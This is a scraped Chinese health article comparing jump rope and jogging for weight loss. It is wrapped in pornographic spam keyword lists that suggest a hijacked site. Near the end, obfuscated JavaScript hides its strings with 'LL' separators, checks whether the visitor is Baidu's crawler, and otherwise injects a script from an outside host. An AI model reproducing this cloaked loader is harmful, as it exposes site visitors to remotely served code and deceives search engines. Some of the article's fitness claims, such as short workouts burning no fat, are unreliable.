久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

跳繩與慢跑哪個減肥效果好呢

2017-04-21 15:03:56  來源:360常識網(wǎng)   熱度:
導語:隨著現(xiàn)代社會人們生活水平的日益提高,體重超標成了常見的現(xiàn)象,很多人都會把減肥當成一項緊要任務,跳繩和慢跑是目前最受歡迎的兩種運動減

隨著現(xiàn)代社會人們生活水平的日益提高,體重超標成了常見的現(xiàn)象,很多人都會把減肥當成一項緊要任務,跳繩和慢跑是目前最受歡迎的兩種運動減肥的方法。跑步和跳繩都屬于燃燒脂肪比較多的運動,是有氧運動中消耗比較大的,跳繩收腰腹很有效。但是, 跳繩與慢跑究竟哪一種的減肥效果好呢?

減肥主要是減脂,運動減肥見效不快,但非常科學,會燃燒大量脂肪,而且不會反彈。節(jié)食和藥物減肥見效快,卻是以健康為代價,而且容易反彈,反彈后患心臟疾病的幾率大幅度提高。

然而,每次只運動15分鐘,燒掉的是糖類,燒不掉脂肪,運動減肥半小時后,才會開始燃燒較多的脂肪。每次運動的時間越久,燒掉的脂肪越多,這是因為連續(xù)性運動的主要能源是脂肪而不是糖類。相反,瞬時爆發(fā)運動的能源是糖類而不是脂肪,故這類運動對減肥無益。

下面是運動熱量消耗統(tǒng)計,注意:人體每減掉一公斤脂肪,需消耗7700卡熱量,愛運動、愛減肥的人士,跳繩減肥最有效,且安全系數(shù)最高,經(jīng)濟投入最少。

跳繩:每半小時消耗熱量400卡。這是一項健美運動,對心肺等各種臟器、協(xié)調(diào)性、姿態(tài)、減肥等都有相當大的幫助。

慢跑:每半小時消耗熱量300卡,有益于心肺和血液循環(huán)。跑的路程越長,消耗的熱量越大。

由以上情況可以知道,跳繩更適合有一定運動能力,體重超過不非常非常多的人群,特別適合26歲以下人群,有一定運動基礎(chǔ)效果,比如對于打籃球,打排球,拳擊,跆拳道有提升效果。

但是慢跑更適合年齡比較大,體重非常非常大,運動基礎(chǔ)稍差人群。當然,這里說的是慢跑,而不是跑步,因為高速跑也是很多運動的基礎(chǔ)訓練。

以上就是關(guān)于 跳繩與慢跑哪個減肥效果好呢的解答,通過以上內(nèi)容我們可以看出,若論減脂效果,跳繩比慢跑略勝一籌,跳繩作為一項耗時少、耗能大的有氧運動也成為眾多愛美人士的健身法寶。對于想用跳繩減肥的女性來說,不可心急,要學會循序漸進,為避免引起身體不適,注意飯前和飯后半小時內(nèi)不要跳繩。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品自拍99 | 成人激情视频在线观看 | 久久国产综合 | 亚洲精品免费视频 | 精品一区二区三区三区 | 欧美一区二区三区 | 久久91精品| 黄色免费视频 | 黄色av观看 | 最近免费中文字幕在线视频2 | 成人乱淫av日日摸夜夜爽节目 | 亚欧洲精品视频在线观看 | 色婷婷香蕉在线一区二区 | 在线免费观看一区 | 极品少妇xxxxⅹ另类 | 逼逼逼网| 超碰97人人人人人蜜桃 | 国产另类一区 | 黄毛片| 欧美一区二区视频 | 美女黄网 | 美国一级黄色片 | 精品日韩一区二区三区 | 日韩中文字幕av | 中文字幕一级 | 黄色网址在线免费 | 综合中文字幕 | 一区二区不卡 | 国产ts人妖另类 | 国产精品久久久久久久免费大片 | 成人aaa| 国产精品成人免费 | 色综合天天天天做夜夜夜夜做 | 亚洲h视频在线观看 | 天天操天天碰 | 国产精品不卡一区 | 欧美综合一区 | 日韩精品一区二区三区中文在线 | 在线不卡视频 | 欧美色图一区 | 国产在线精品一区 |